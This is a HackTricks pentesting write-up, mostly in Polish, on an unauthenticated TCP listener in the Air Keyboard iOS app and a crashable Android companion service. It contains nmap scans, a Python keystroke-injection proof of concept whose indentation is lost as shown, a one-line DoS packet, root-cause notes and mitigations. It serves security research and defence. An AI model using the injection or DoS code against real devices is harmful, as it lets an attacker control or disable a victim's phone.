hacktricks/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md

4.5 KiB
Raw Blame History

Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)

{{#include ../../banners/hacktricks-training.md}}

TL;DR

Wersja iOS komercyjnej aplikacji "Air Keyboard" (ID w App Store 6463187929) otwiera usługę TCP w czystym tekście na porcie 8888, która akceptuje ramki naciśnięć klawiszy bez żadnej autoryzacji. Każde urządzenie w tej samej sieci Wi-Fi może połączyć się z tym portem i wstrzyknąć dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając pełne przejęcie zdalnej interakcji.

Towarzysząca wersja na Androida nasłuchuje na porcie 55535. Wykonuje słabe ręczne ustalenie AES-ECB, ale stworzony śmieć powoduje nieobsługiwany wyjątek w procedurze deszyfrowania OpenSSL, powodując awarię usługi w tle (DoS).

1. Odkrywanie usługi

Skanuj lokalną sieć i szukaj dwóch stałych portów używanych przez aplikacje:

# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24

Na urządzeniach z Androidem możesz zidentyfikować odpowiedni pakiet lokalnie:

adb shell netstat -tulpn | grep 55535     # no root required on emulator

# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline                # map PID → package name

2. Format ramki (iOS)

Binarna zawartość ujawnia następującą logikę analizy wewnątrz rutyny handleInputFrame():

[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]

Zadeklarowana długość obejmuje bajt device_id ale nie sam nagłówek o długości dwóch bajtów.

3. Exploitation PoC

#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys

target_ip = sys.argv[1]                  # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n"     # payload visible to the user

frame  = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01"                         # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)

Każdy drukowalny ASCII (w tym \n, \r, klawisze specjalne itp.) może być wysyłany, co skutkuje przyznaniem atakującemu tej samej mocy co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości IM, odwiedzanie phishingowych URL-i itp.

4. Android Companion Denial-of-Service

Port Androida (55535) oczekuje 4-znakowego hasła zaszyfrowanego za pomocą hard-coded AES-128-ECB key, po którym następuje losowy nonce. Błędy parsowania pojawiają się w AES_decrypt() i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet jest zatem wystarczający, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony.

import socket
socket.create_connection((victim, 55535)).send(b"A"*32)  # minimal DoS

5. Przyczyna

  1. Brak kontroli pochodzenia / integralności przychodzących ramek (iOS).
  2. Niewłaściwe użycie kryptografii (statyczny klucz, ECB, brak walidacji długości) oraz brak obsługi wyjątków (Android).

6. Środki zaradcze i pomysły na wzmocnienie

  • Nigdy nie udostępniaj nieautoryzowanych usług na urządzeniu mobilnym.
  • Wyprowadzaj sekrety specyficzne dla urządzenia podczas onboardingu i weryfikuj je przed przetwarzaniem danych wejściowych.
  • Powiąż nasłuchiwacz z 127.0.0.1 i użyj wzajemnie uwierzytelnionego, szyfrowanego transportu (np. TLS, Noise) do zdalnego sterowania.
  • Wykrywaj niespodziewane otwarte porty podczas przeglądów bezpieczeństwa mobilnego (netstat, lsof, frida-trace na socket() itd.).
  • Jako użytkownik końcowy: odinstaluj Air Keyboard lub używaj go tylko w zaufanych, izolowanych sieciach Wi-Fi.

Arkusz oszustw wykrywania (Pentesterzy)

# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"

Odniesienia

{{#include ../../banners/hacktricks-training.md}}